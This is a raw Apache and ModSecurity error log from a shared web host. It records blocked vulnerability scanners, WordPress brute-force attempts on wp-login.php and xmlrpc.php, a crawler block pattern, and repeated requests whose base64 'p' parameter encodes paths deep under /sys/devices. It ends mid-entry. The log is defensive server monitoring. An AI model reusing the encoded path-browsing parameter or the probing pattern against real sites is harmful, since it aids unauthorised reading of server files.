https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:22:29.940306 2026] [core:error] [pid 715691:tid 715849] [client 47.79.200.78:38908] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:22:29.940341 2026] [core:error] [pid 715691:tid 715849] [client 47.79.200.78:38908] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:22:30.015977 2026] [security2:error] [pid 715691:tid 715828] [remote 216.73.216.182:65257] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai30RrV-dFiaX9AtWiQbEQABGXU"] [Sat Jun 13 18:22:30.071257 2026] [security2:error] [pid 715691:tid 715731] [remote 17.241.75.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30RrV-dFiaX9AtWiQbEgABXRU"] [Sat Jun 13 18:22:30.197891 2026] [security2:error] [pid 646876:tid 646899] [remote 17.22.253.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30RtyTkdrNlD40tSHNxgAATxQ"] [Sat Jun 13 18:22:30.246007 2026] [core:error] [pid 715691:tid 715931] [client 66.249.74.36:53320] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:22:30.246032 2026] [core:error] [pid 715691:tid 715931] [client 66.249.74.36:53320] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:22:30.480120 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:30.480420 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:30.684384 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.22:35594] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:30.684648 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.22:35594] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:30.741290 2026] [core:error] [pid 715691:tid 715883] [client 70.127.116.84:53232] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.baidu.com/ [Sat Jun 13 18:22:30.741310 2026] [core:error] [pid 715691:tid 715883] [client 70.127.116.84:53232] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.baidu.com/ [Sat Jun 13 18:22:30.826542 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.110:34992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:30.826856 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.110:34992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:30.990698 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:30.991158 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:31.009229 2026] [security2:error] [pid 715691:tid 715740] [remote 209.87.149.26:45601] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai30R7V-dFiaX9AtWiQbPQABcB4"] [Sat Jun 13 18:22:31.224098 2026] [security2:error] [pid 646876:tid 646976] [remote 17.241.75.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30R9yTkdrNlD40tSHN2AAAIGE"] [Sat Jun 13 18:22:31.376311 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.26:34920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:31.376584 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.26:34920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:31.493340 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:22:31.493619 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:22:31.626671 2026] [security2:error] [pid 646876:tid 646915] [remote 17.22.253.49:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30R9yTkdrNlD40tSHN5QAAfCQ"] [Sat Jun 13 18:22:31.744923 2026] [security2:error] [pid 715691:tid 715801] [remote 209.87.149.26:45601] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai30R7V-dFiaX9AtWiQbVwABHFo"], referer: https://piox.cl/wp-login.php [Sat Jun 13 18:22:31.755344 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.20:42082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:31.755592 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.20:42082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:31.797032 2026] [security2:error] [pid 715691:tid 715802] [remote 17.241.227.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30R7V-dFiaX9AtWiQbWwABXVs"] [Sat Jun 13 18:22:31.890137 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.99:56144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:31.890595 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.99:56144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:31.994617 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.59:53793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:31.995087 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.59:53793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:32.025233 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL2lk [Sat Jun 13 18:22:32.025704 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL2lk [Sat Jun 13 18:22:32.045426 2026] [security2:error] [pid 646876:tid 647109] [client 114.119.142.94:26657] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "designthesign.com"] [uri "/robots.txt"] [unique_id "ai30SNyTkdrNlD40tSHN7QAAAGU"], referer: https://designthesign.com/robots.txt [Sat Jun 13 18:22:32.293907 2026] [access_compat:error] [pid 646876:tid 646985] [remote 57.141.14.3:24640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:32.294191 2026] [access_compat:error] [pid 646876:tid 646985] [remote 57.141.14.3:24640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:32.368024 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.59:53797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:32.368423 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.59:53797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:32.493842 2026] [security2:error] [pid 715691:tid 715789] [remote 88.99.137.102:34764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.137.99.88.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.aitess-sa.com"] [uri "/xmlrpc.php"] [unique_id "ai30SLV-dFiaX9AtWiQbcgABJE4"] [Sat Jun 13 18:22:32.494060 2026] [security2:error] [pid 715691:tid 715867] [client 88.99.137.102:34764] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.aitess-sa.com"] [uri "/xmlrpc.php"] [unique_id "ai30SLV-dFiaX9AtWiQbcgABJE4"] [Sat Jun 13 18:22:32.510125 2026] [security2:error] [pid 715691:tid 715768] [remote 17.246.19.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SLV-dFiaX9AtWiQbcAABTzk"] [Sat Jun 13 18:22:32.547331 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2lk [Sat Jun 13 18:22:32.547588 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2lk [Sat Jun 13 18:22:32.658290 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.101:58168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:32.658571 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.101:58168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:32.823041 2026] [security2:error] [pid 715691:tid 715785] [remote 17.246.23.78:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 78.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SLV-dFiaX9AtWiQbgAABZUo"] [Sat Jun 13 18:22:32.828623 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.14:35764] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:32.828936 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.14:35764] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:32.890207 2026] [security2:error] [pid 715691:tid 715731] [remote 17.241.227.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SLV-dFiaX9AtWiQbhQABURU"] [Sat Jun 13 18:22:33.064737 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:22:33.065023 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:22:33.085124 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.60:58436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:33.085578 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.60:58436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 